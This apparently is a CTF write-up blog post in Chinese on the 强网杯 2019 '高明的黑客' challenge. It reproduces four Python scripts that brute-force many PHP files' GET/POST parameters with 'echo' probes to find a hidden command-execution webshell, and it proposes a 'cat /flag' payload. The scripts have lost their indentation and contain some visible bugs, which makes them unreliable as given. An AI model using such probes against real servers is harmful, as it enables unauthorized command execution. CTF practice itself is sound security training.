BUU-Web-[强网杯 2019]高明的黑客

拿到题目下载备份文件后,看到里面超多php文件,随便点开一个大致看一下就会发现有很多可控变量,有GET型也有POST型,尝试一个发现无效,所以可能是只有其中一个文件的某个参数有效,这样就可以进行爆破了

在网上搜到了很多种脚本,记录一下

version 1

https://www.cnblogs.com/h3zh1/p/12661892.html
import requests
import os
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES = 8 # 设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False

sem = threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了

url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"

# 下载的源文件路径,根据自己的路径修改
path = r"C:\Users\lenovo\Desktop\www\\"

rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") # 匹配get参数

rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") # 匹配post参数

fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程

local_file = open("flag.txt", "w", encoding="utf-8")


def run(fileName):
with sem:
file = open(path + fileName, 'r', encoding='utf-8')
content = file.read()
print("[+]checking:%s" % fileName)
# 测试get的参数
for i in rrGET.findall(content):
r = session.get(url + "%s?%s=%s" % (fileName, i, "echo ~h3zh1~;"))
if "~h3zh1~" in r.text:
flag = "You Find it in GET fileName = %s and param = %s \n" % (fileName, i)
print(flag)
local_file.write(flag)
# 测试post的参数
# for i in rrPOST.findall(content):
# r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
# if "~h3zh1~" in r.text:
# flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
# print(flag)
# local_file.writelines(flag)


if __name__ == '__main__':
start_time = time.time() # 开始时间
print("[start]程序开始:" + str(start_time))
thread_list = []
for fileName in fileNames:
t = threading.Thread(target=run, args=(fileName,))
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()

end_time = time.time()
local_file.close()
print("[end]程序结束:用时():" + str(end_time - start_time))

version 2

https://www.cnblogs.com/xhds/p/12289768.html

import re
import os
import requests

files = os.listdir('src/') #获取路径下的所有文件
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])') #设置正则
for i in files: #从第一个文件开始
url = "http://127.0.0.1/src/" + i
f = open("src/"+i) #打开这个文件
data = f.read() #读取文件内容
f.close() #关闭文件
result = reg.findall(data) #从文件中找到GET请求
for j in result: #从第一个GET参数开始
payload = url + "?" + j + "=echo 123456" ##尝试请求次路径,并执行命令
print(payload)
html = requests.get(payload)
if "123456" in html.text:
print(payload)
exit(1)

version 3

https://blog.csdn.net/xiayu729100940/article/details/102676405
import os
import requests
import re
import time


def read_file(path, command): # 遍历文件找出所有可用的参数
with open(path, encoding="utf-8") as file:
f = file.read()
params = {}
pattern = re.compile("(?<=\$_GET\[').*?(?='\])") # match get
for name in pattern.findall(f):
params[name] = command

data = {}
pattern = re.compile("(?<=\$_POST\[').*?(?='\])") # match get
for name in pattern.findall(f):
data[name] = command
return params, data


def url_explosion(url, path, command): # 确定有效的php文件
params, data = read_file(path, command)
try:
r = requests.session().post(url, data=data, params=params)
if r.text.find("haha") != -1:
print(url, "\n")
find_params(url, params, data)

except:
print(url, "异常")


def find_params(url, params, data): # 确定最终的有效参数
try:
for pa in params.keys():
temp = {pa: params[pa]}
r = requests.session().post(url, params=temp)
if r.text.find("haha") != -1:
print(pa)
os.system("pause")

except:
print("error!\n")
try:
for da in data.items():
temp = {da: data[da]}
r = requests.session().post(url, data=temp)
if r.text.find("haha") != -1:
print(da)
os.system("pause")
except:
print("error!\n")


rootdir = "C:\\src\\" # php文件存放地址
list = os.listdir(rootdir)
for i in range(0, len(list)):
path = os.path.join(rootdir, list[i])
name = list[i].split('-2')[0] // 获取文件名
url = "http://8d40e217-717b-4548-a15e-c131a87bdb1d.node3.buuoj.cn/" + name
url_explosion(url, path, "echo haha")

version 4

https://blog.csdn.net/a3320315/article/details/102945940

import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GETPOST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GETflag==1,则b未定义;如果是POSTflag0
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

 

这里再提供一个我自己的思路,后面如果写出代码再进行补充......

:提取每个php文件名以及里面的参数构造payload:url/文件名?参数=cat /flag,然后查找内容有无flag字段,有则返回payload,或者将payload打包成字典文件,进行爆破也可以

 

posted @ 2020-08-28 23:55  Web_Fresher  阅读(493)  评论(0编辑  收藏  举报